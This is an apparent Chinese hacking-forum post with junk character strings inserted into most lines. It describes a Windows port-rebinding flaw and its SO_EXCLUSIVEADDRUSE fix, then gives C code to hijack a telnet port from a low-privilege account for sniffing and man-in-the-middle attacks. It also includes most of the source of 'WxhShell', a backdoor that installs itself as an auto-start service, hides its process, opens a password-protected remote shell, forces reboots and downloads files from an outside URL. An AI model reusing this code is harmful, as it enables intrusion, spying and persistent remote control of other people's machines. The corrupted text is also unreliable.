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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y;e,Gq`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6X\ 2GC9  
=Apxdnz,  
  saddr.sin_family = AF_INET; 66'?&Xx'  
:J :, m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g=2Rqi5  
%^8^yZz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RtCkVxaEx  
5e}A@GyC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OzQ -7|m'J  
]Lm9^q14m  
  这意味着什么?意味着可以进行如下的攻击: 7yx$N n`(  
,uPJ_oZs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _^ 'I  
xritonG/F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #~=hn8  
q-`RI*1]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KrXdnY8  
g"L|n7_b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GQl$yZaK{  
+8#_59;x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;?6No(/  
l%`F&8K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XO9M_*Va  
S_T1y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8-lOB  
5 gv/Pq&  
  #include ! /NG.Wf  
  #include s-RQMK}H  
  #include ~j#]tElb  
  #include    :T._ba3|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q-rB2  
  int main() %rF?dvb;?  
  { ?  BE6  
  WORD wVersionRequested; gi-Yqco  
  DWORD ret; =r.mlc``W  
  WSADATA wsaData; @0eHS +  
  BOOL val; <N`J`J-[  
  SOCKADDR_IN saddr; #_|sgS?1  
  SOCKADDR_IN scaddr; K3' niGT  
  int err; rC7``#5  
  SOCKET s; 2<][%> '  
  SOCKET sc; F! X}(N?t  
  int caddsize; ` iJhG^w9M  
  HANDLE mt; fsEzpUY:{W  
  DWORD tid;   =;3fq-  
  wVersionRequested = MAKEWORD( 2, 2 ); HoLv`JA  
  err = WSAStartup( wVersionRequested, &wsaData ); Sje wuIi1  
  if ( err != 0 ) { 3 AHY|  
  printf("error!WSAStartup failed!\n"); |hO~X~P  
  return -1; c(/VYMJZ&  
  } u1~9{"P*  
  saddr.sin_family = AF_INET; %\kOLE2`  
   &tZG @  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ErT{(t7  
7-~Q5Kr.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7]BW[~77  
  saddr.sin_port = htons(23); `-\/$M9s=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hi yc#-4  
  { TP}h~8 /;  
  printf("error!socket failed!\n"); R.s^o]vT  
  return -1; v$)q($}p  
  } Yyfq  
  val = TRUE; g!`3{ /4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AWjm~D-?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oM)h#8bq  
  { w]_zp?\^ }  
  printf("error!setsockopt failed!\n"); yg2uC(2  
  return -1; "GQl~  
  } 3-%Cw2ds  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P1U*g!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pe_!?:vF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /{{UP-  
`Bw9O%]-S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) enTW0U}  
  { 5PIZh<  
  ret=GetLastError(); ]u-02g  
  printf("error!bind failed!\n"); z**hD2R!  
  return -1; oR~e#<$;  
  }  8*c3|  
  listen(s,2); 20TCG0% x  
  while(1) Otz E:qe  
  { -L3|&O_  
  caddsize = sizeof(scaddr); D-U<u@A4  
  //接受连接请求 ,=~z6[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ai'4_  
  if(sc!=INVALID_SOCKET) `$604+G  
  { 8*SP~q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3^ StIw{X  
  if(mt==NULL) S\wW)Pv8  
  { ;c -3g]  
  printf("Thread Creat Failed!\n"); ;&b%Se@#p  
  break; u0RS)&  
  } %y<ejM  
  } g2R@`./S  
  CloseHandle(mt); ya -i^i\  
  } *<'M!iRC  
  closesocket(s); o]LRzI  
  WSACleanup(); / EMJSr  
  return 0; 1mSaS4!"B  
  }   O3N_\B:  
  DWORD WINAPI ClientThread(LPVOID lpParam) C*X G_b ]  
  { 3p*-tBOO  
  SOCKET ss = (SOCKET)lpParam; gFPi7 o1  
  SOCKET sc; = pIy  
  unsigned char buf[4096]; hKlZi!4J  
  SOCKADDR_IN saddr; ` r']^ ,  
  long num; Ao7`G':  
  DWORD val; oA tsUF+a  
  DWORD ret; b}G24{  
  //如果是隐藏端口应用的话,可以在此处加一些判断  ?W0(|9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dp5f7>]:(  
  saddr.sin_family = AF_INET; sLcFt1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R 4wr  
  saddr.sin_port = htons(23); +jqj6O@Tjr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @ 2_<,;$  
  { aj ~bt-cE  
  printf("error!socket failed!\n"); ]bgY6@M  
  return -1; j}+5vB|0  
  } [WB{T3j  
  val = 100; 33~qgK1>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S)A'Y]2X  
  { H<ZU#U0FZf  
  ret = GetLastError(); Sg] J7;]  
  return -1; R[1BfZ6s  
  } me\cLFw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "%@uO)A /  
  { -Y:ROoFOZ  
  ret = GetLastError(); DJQglt}~  
  return -1; ArI]`h'W  
  } N8!TZ~1$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S^f:`9ab9  
  { df=z F.5  
  printf("error!socket connect failed!\n"); z{BA4sn  
  closesocket(sc); m_!U}!  
  closesocket(ss); NNa1EXZ[  
  return -1; 2N~ E' 25  
  } 3^.8.q(6  
  while(1) \NXQ  
  { *C,N'M<u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z0fJ9 HW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L|^o7 1t|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DI&MC9j(   
  num = recv(ss,buf,4096,0); YCw('i(|  
  if(num>0) D22Lu ;E  
  send(sc,buf,num,0); q2_`v5t  
  else if(num==0) t]^_ l$  
  break; ,fnsE^}.U  
  num = recv(sc,buf,4096,0); RP(/x+V  
  if(num>0) ewB!IJxh  
  send(ss,buf,num,0); 8,o17}NY,  
  else if(num==0) ?z"KnR+?Q  
  break; nd+?O7~}(  
  } }`9`JmNM  
  closesocket(ss); C$#W{2x%6  
  closesocket(sc); 16@);Ot  
  return 0 ; "A]Y~iQ  
  } zfjTQMaxh  
(:Cc3  
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========================================================== <]8^J}8T{D  
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下边附上一个代码,,WXhSHELL [U_[</L7  
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========================================================== C>*n9l[M~  
RI@*O6\/I  
#include "stdafx.h" acOJ]]  
Dw |3Z  
#include <stdio.h> \]Z&P,}w  
#include <string.h> St>`p-  
#include <windows.h> Isovwd  
#include <winsock2.h> 8mgQu]>  
#include <winsvc.h> n=`w9qajd  
#include <urlmon.h> 6~W u`  
viuiqs5[Bi  
#pragma comment (lib, "Ws2_32.lib") C(]'&~}(  
#pragma comment (lib, "urlmon.lib") ):bu;3E  
,deUsc  
#define MAX_USER   100 // 最大客户端连接数 FD6v /Y  
#define BUF_SOCK   200 // sock buffer `Lz1{#F2G  
#define KEY_BUFF   255 // 输入 buffer V_;9TC  
(G8  
#define REBOOT     0   // 重启 '8r8%XI  
#define SHUTDOWN   1   // 关机 3C"_$?y"  
vF>gU_gz.  
#define DEF_PORT   5000 // 监听端口 Yg6I&#f7&  
X&\o{w9%  
#define REG_LEN     16   // 注册表键长度 id?_>9@P  
#define SVC_LEN     80   // NT服务名长度 4uX(_5#j  
a{_ KSg  
// 从dll定义API O|UxFnB}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8U^D(jrz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IT1P Pm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ek[kq[U9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); feCqbWq:  
ogeRYq,g  
// wxhshell配置信息 S+FQa7k  
struct WSCFG { ,QS'$n  
  int ws_port;         // 监听端口 ,U%=rfB~  
  char ws_passstr[REG_LEN]; // 口令 y~p4">]  
  int ws_autoins;       // 安装标记, 1=yes 0=no k_Tswf3  
  char ws_regname[REG_LEN]; // 注册表键名 <bdyAUeFw  
  char ws_svcname[REG_LEN]; // 服务名  9d"5wx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l^,qO3ES  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZT9IMihV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qcgu`]7}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wy(pLBmb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6_U |(f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n{=7 yK  
> tEK+Y|N}  
}; G{A)H_o*  
gUGOHd(A  
// default Wxhshell configuration E!@/NE\-  
struct WSCFG wscfg={DEF_PORT, E|,30Z+  
    "xuhuanlingzhe", jm> U6  
    1, y#bK,}  
    "Wxhshell", jvO3_Zt9  
    "Wxhshell", hrT%XJl  
            "WxhShell Service", QSmJ`Bm  
    "Wrsky Windows CmdShell Service", ]-KV0H  
    "Please Input Your Password: ", @,YlmX}  
  1, f N0bIE Y  
  "http://www.wrsky.com/wxhshell.exe", H56 ^n<tg  
  "Wxhshell.exe" %uEtQh[  
    }; va>"#;37  
L *{QjH  
// 消息定义模块 OT+Ee  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i7f%^7!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fqX~xp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *')Q {8`  
char *msg_ws_ext="\n\rExit."; A^cU$V%?W  
char *msg_ws_end="\n\rQuit."; B<+pg  
char *msg_ws_boot="\n\rReboot..."; bqjr0A7{  
char *msg_ws_poff="\n\rShutdown..."; ,|iy1yg(  
char *msg_ws_down="\n\rSave to "; \kk!Dz*H  
q\U4n[Zk  
char *msg_ws_err="\n\rErr!"; }Eb]9c\  
char *msg_ws_ok="\n\rOK!"; +',^((o  
`x4E;Wjv  
char ExeFile[MAX_PATH]; lO_c/o$  
int nUser = 0; C1D ! V:  
HANDLE handles[MAX_USER]; zS?n>ElI  
int OsIsNt; #~1wv^  
$vqU|]J`  
SERVICE_STATUS       serviceStatus; 2R] XH 0   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YnD#p[Wo^  
2) ?  
// 函数声明 bHJoEYY^  
int Install(void); m8u=u4z("  
int Uninstall(void); L^jaBl  
int DownloadFile(char *sURL, SOCKET wsh); Dh?vU~v(6  
int Boot(int flag); W[GQ[h  
void HideProc(void); _^b@>C>O  
int GetOsVer(void); +]_nbWL(%  
int Wxhshell(SOCKET wsl); u x#. :C|  
void TalkWithClient(void *cs); [NZ-WU&&LP  
int CmdShell(SOCKET sock); WzlS^bZ  
int StartFromService(void); -^R b7 g-  
int StartWxhshell(LPSTR lpCmdLine); iz$FcA]  
+ lP5XY{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  *0-v!\{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [5!'ykZ  
Kny%QBoiw  
// 数据结构和表定义 fZ{&dslg  
SERVICE_TABLE_ENTRY DispatchTable[] = <g*.p@o  
{ 6I5o2i  
{wscfg.ws_svcname, NTServiceMain}, OFIMi^@  
{NULL, NULL} %Dra7B%  
}; *i%.{ YH  
N tO?  
// 自我安装 )X~#n  
int Install(void) ^aT;aP^l  
{ cP, ;Qbe  
  char svExeFile[MAX_PATH]; PlF!cr7:4  
  HKEY key; ZX h~ 79  
  strcpy(svExeFile,ExeFile);  A<2I!  
R|$[U  
// 如果是win9x系统,修改注册表设为自启动 xHm/^C&px  
if(!OsIsNt) { 0FTRm2(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (GnVwJ<v9V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [\88@B=jXP  
  RegCloseKey(key); w/O<.8+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { erXy>H[;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T ^N L:78  
  RegCloseKey(key); t18UDR{  
  return 0; v&e-`.xR  
    } %8a=mQl1^  
  } T7^ulG1'  
}  YN4"O>  
else { \m%J`{Mt  
`(!W s\:  
// 如果是NT以上系统,安装为系统服务 O1|B3M[P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'xQna+%h  
if (schSCManager!=0) K/Sq2:  
{ .|U4N/XN%q  
  SC_HANDLE schService = CreateService xcw%RUC-  
  ( 9^(HXH_f  
  schSCManager, IvFR <n  
  wscfg.ws_svcname, //~POm  
  wscfg.ws_svcdisp, 9jqO/_7R+  
  SERVICE_ALL_ACCESS, 6aRGG+H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BSOjyy1f  
  SERVICE_AUTO_START, ]c5DOv&  
  SERVICE_ERROR_NORMAL, B'<!k7Ewy  
  svExeFile, \y[Bu^tk  
  NULL, ~."!l'a  
  NULL, lfXH7jL2~  
  NULL, yLjV[ qP  
  NULL, ^=Q8]W_*  
  NULL N&?T0Ge;  
  ); hx*HY%\P  
  if (schService!=0) `i=JjgG@  
  { h-Tsi:%b  
  CloseServiceHandle(schService); =d}gv6v2S  
  CloseServiceHandle(schSCManager); *Yj~]E0`1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +:fqL  
  strcat(svExeFile,wscfg.ws_svcname); 5r^1CFO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p(~Y" H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yI3Q|731)  
  RegCloseKey(key); JL?Cnk$!  
  return 0; mXQl;  
    } w'!ECm>*`  
  } &$<(D0  
  CloseServiceHandle(schSCManager); -l\~p4U  
} g[m3IJzq  
} -,FK{[h]ka  
z Z@L4ZT  
return 1; Y||yzJdC  
} ,2RC|h^O,  
>g>f;\mD7$  
// 自我卸载 RP,A!pa@  
int Uninstall(void) c!tvG*{  
{ _{lx*dq  
  HKEY key; ;,<r|.6U  
".Lhte R?  
if(!OsIsNt) { rny@n^F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q1U&vZ3]c  
  RegDeleteValue(key,wscfg.ws_regname); i:V0fBR[>  
  RegCloseKey(key); rn5"o8|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : : F!   
  RegDeleteValue(key,wscfg.ws_regname); 8.*\+nH  
  RegCloseKey(key); "|(rVj=  
  return 0; aUKh}) B  
  } UedvA9$&;  
} 7bA4P*  
} <Gn8B^~$  
else { 4kWg>F3  
]|Ow_z8 O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BO?mQu~  
if (schSCManager!=0) - P\S>G.  
{ 8FB\0LA!g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sg/:n,68  
  if (schService!=0) !S~,> ,yd  
  { O3_D~O ."  
  if(DeleteService(schService)!=0) { _L?v6MTj  
  CloseServiceHandle(schService); &=v/VRan[  
  CloseServiceHandle(schSCManager); <^CYxy  
  return 0; I++W0wa.n  
  } xIS\4]F?r  
  CloseServiceHandle(schService); z0T`5N G@  
  } @PT`CK}  
  CloseServiceHandle(schSCManager); qgwv=5|  
} T r SN00  
} J!=](s5|  
!T<z'zZU  
return 1; ` (7N^@  
} "}S9`-Wd|  
[54@irH  
// 从指定url下载文件 IW5*9)N?  
int DownloadFile(char *sURL, SOCKET wsh) A6{t%k~F  
{ Xy[4f=X}z  
  HRESULT hr; {D;Xa`:O  
char seps[]= "/"; >v^2^$^u  
char *token; Am>_4  
char *file; s$f+/Hs  
char myURL[MAX_PATH]; >E//pr)_Km  
char myFILE[MAX_PATH]; zkjPLeX  
P]!LN\[  
strcpy(myURL,sURL); ~bQFk?ZN+  
  token=strtok(myURL,seps); skk-.9  
  while(token!=NULL)  6'RZ  
  { Z-N-9E  
    file=token; $w|o@ Ml)  
  token=strtok(NULL,seps); :SpG&\+  
  } 0MwG}|RC  
UI|v/(_^F  
GetCurrentDirectory(MAX_PATH,myFILE); 03X<x|  
strcat(myFILE, "\\"); "\VW. S  
strcat(myFILE, file); GOv9 2$e  
  send(wsh,myFILE,strlen(myFILE),0); y+K7WUwhq  
send(wsh,"...",3,0); AzHIp^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P`\m9"7  
  if(hr==S_OK) ke3HK9P;  
return 0; - XE79 fQ  
else /2g)Z!&+L  
return 1; %k/ k]: s  
IUh5r(d 68  
} 5en [)3E  
L eG7x7n  
// 系统电源模块 r[.zLXgK  
int Boot(int flag) N oX_?  
{ m&Y; /kr  
  HANDLE hToken; 8CHb~m@^$  
  TOKEN_PRIVILEGES tkp; .nj?;).  
Rz<d%C;R  
  if(OsIsNt) { A2g"=x[1@K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }XfS#Xr1aV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o9U0kI=W  
    tkp.PrivilegeCount = 1; 5]4<!m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s`8M%ZLu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OYqYI!N/  
if(flag==REBOOT) { "C$!mdr7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 09}f\/  
  return 0; $\YLmG  
} jjS{q,bo  
else { f_i"/xC-/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `-72>F;T  
  return 0; W (=Wg|cr  
} ]wkSAi5z*  
  } '8r8 ^g[  
  else { XE f&Yd  
if(flag==REBOOT) { W2r6jm!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .LXh]I *  
  return 0; w8m8r`h  
} A@@)lD.  
else { jV,(P$ 5;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V e$5w}a4  
  return 0; "oE^R?m  
} D,}'E0  
} $nGbT4sc  
Z ,|1G6f@  
return 1; f_re"d 3u  
} 5{R#h :  
d I#8CO  
// win9x进程隐藏模块 e' /  
void HideProc(void) Z30z<d,j  
{ $L<_uqSk  
I{?E/Sc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7"a`-]Ap  
  if ( hKernel != NULL ) APHtJoS  
  { +!L_E6pyXE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ? BHWzo!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1WUFk?p  
    FreeLibrary(hKernel); j,|1y5f  
  } p0[,$$pM  
zbIwH6  
return; zJG x5JC  
} .WL\:{G8;  
 =BqaGXr  
// 获取操作系统版本 0_,3/EWa  
int GetOsVer(void) X YNUss  
{ |g?/~%7  
  OSVERSIONINFO winfo; O, ``\(P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kh:#S|   
  GetVersionEx(&winfo); ;G%wc!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j$|Yd=  
  return 1; 6yu*a_  
  else )F%wwc^r  
  return 0; g9([3pV,  
} sl^s9kx;C$  
%|D\j-~  
// 客户端句柄模块 ;G4HMtL  
int Wxhshell(SOCKET wsl) L!8 -:)0b  
{ DmXDg7y7s  
  SOCKET wsh; @Q$ /eL  
  struct sockaddr_in client; aiR|.opIb  
  DWORD myID; uJ IRk$  
@ V7ooo!  
  while(nUser<MAX_USER) Z5*(W;;  
{ }GoOE=rhY  
  int nSize=sizeof(client); P[#WHbn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (jo(bbpj  
  if(wsh==INVALID_SOCKET) return 1; 86^ZYh  
]df9'\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j?f,~Y<k  
if(handles[nUser]==0) g6@NPQ  
  closesocket(wsh); ~/|unV  
else 80s~ae;  
  nUser++; /SPAJHh  
  } 3I>S:|=K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^7~SS2t!  
_Y ><ih  
  return 0; 0'\FrG  
} k@t,[  
G3_mWppH  
// 关闭 socket YA;8uMqh;  
void CloseIt(SOCKET wsh) t'=~"?T/o  
{ CQ8o9A/  
closesocket(wsh); U&w 5&W{F}  
nUser--; j quSR=  
ExitThread(0); {M)3GsP?  
} +}(B856+  
$^NWzc  
// 客户端请求句柄 WfTdD.Xx  
void TalkWithClient(void *cs) 2=Y_Qrhi  
{ 1(:=j Ofk  
rd"]@ ~v1  
  SOCKET wsh=(SOCKET)cs; F;MT4*4  
  char pwd[SVC_LEN]; $Va]vC8?  
  char cmd[KEY_BUFF]; }lNuf u  
char chr[1]; Zm; +Ku>  
int i,j; tZNad  
vY0V{u?J  
  while (nUser < MAX_USER) { {Jw<<<G  
P2 K>|r  
if(wscfg.ws_passstr) { z[lRb]:i[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {ck  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y9G57D  
  //ZeroMemory(pwd,KEY_BUFF); #o"HD6e  
      i=0; o wpJ7S1~  
  while(i<SVC_LEN) { $MJDB  
tls6rto  
  // 设置超时 h[`Op#^x3  
  fd_set FdRead; F&L?J_=  
  struct timeval TimeOut; 5k%N<e` `  
  FD_ZERO(&FdRead); MY<!\4/  
  FD_SET(wsh,&FdRead); VU+s7L0  
  TimeOut.tv_sec=8; WH*=81)zp  
  TimeOut.tv_usec=0; E'BH7JV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E-U;8cOMv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kG;\i  
w7t"&=pF7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )V$!  
  pwd=chr[0]; u.L8tR:(  
  if(chr[0]==0xd || chr[0]==0xa) { q=0{E0@9({  
  pwd=0; In9|n^=H@  
  break; }Mb'tGW  
  } (+Kof  
  i++; nhX p_Z9  
    } 7E75s)KH  
"MS`d+rf\  
  // 如果是非法用户,关闭 socket iQ}sp64  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |3T|F3uEX  
} komxot[[  
D)~nAkVq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HAUTCX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -IsdU7}  
(zYSSf!I  
while(1) { K"6+X|yxE  
6!Ji>h.Ak  
  ZeroMemory(cmd,KEY_BUFF); _:=OHURc  
gK#fuQ$hH  
      // 自动支持客户端 telnet标准   x< y[na  
  j=0; fJ"~XTN}T  
  while(j<KEY_BUFF) { L+ETMk0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gZ >orZL'  
  cmd[j]=chr[0]; w4MMo  
  if(chr[0]==0xa || chr[0]==0xd) { xEZVsz  
  cmd[j]=0; NF)\">Ye  
  break; ^s2-jkK  
  } FZ.z'3I  
  j++; er7/BE&  
    } 09;'z  
tG ^?fc  
  // 下载文件 ]-Y]Q%A4  
  if(strstr(cmd,"http://")) { Rb}&c)4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iN/!k.ybW}  
  if(DownloadFile(cmd,wsh)) ![hhPYmV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RJs G]`  
  else `"=L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aU8Ti8A>  
  } s1vYZ  
  else { NG W{Z~l  
W;g+R-  
    switch(cmd[0]) { E?h2e~ ,]  
  GGQ(|?w  
  // 帮助 =^AZx)Kwd  
  case '?': { V #\ZS{'J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j nA_!;b  
    break; Ft8h=  
  } bOIM0<(h  
  // 安装 ,Yprk%JT  
  case 'i': { Eno2<<  
    if(Install()) CU^3L|f2N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @C [|'[xQ  
    else iK:qPrk-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -L50kk>h  
    break; P<JkRX  
    } e}yu<~v_  
  // 卸载 }xlmsOHuI  
  case 'r': {  D6!+  
    if(Uninstall()) _3G)S+ 7#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +X(^Q@  
    else Bsk2&17z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o^"3C1j  
    break; 4N=Ie}_`  
    } >rS<!e%  
  // 显示 wxhshell 所在路径 QT l._j@  
  case 'p': { #5:A?aj  
    char svExeFile[MAX_PATH]; Qg$Nj=Cw  
    strcpy(svExeFile,"\n\r"); yy.:0:ema  
      strcat(svExeFile,ExeFile); 4bi\$   
        send(wsh,svExeFile,strlen(svExeFile),0); } 9s  
    break;  glX2L ~  
    } ;Y&?ixx  
  // 重启 XaS_3d  
  case 'b': { 3$yL+%i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @`8 B} C  
    if(Boot(REBOOT)) 18tQWI$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A;`U{7IST  
    else { Qbpl$L  
    closesocket(wsh); jh](s U  
    ExitThread(0); e^_@^(||!6  
    } -2ij;pkIW$  
    break; ^JVP2L>o*  
    } Vd>.fb\U2  
  // 关机 s@[t5R  
  case 'd': { U7%pOpO!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4S EC4yO  
    if(Boot(SHUTDOWN)) GaqG 8% .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D#[ :NXahn  
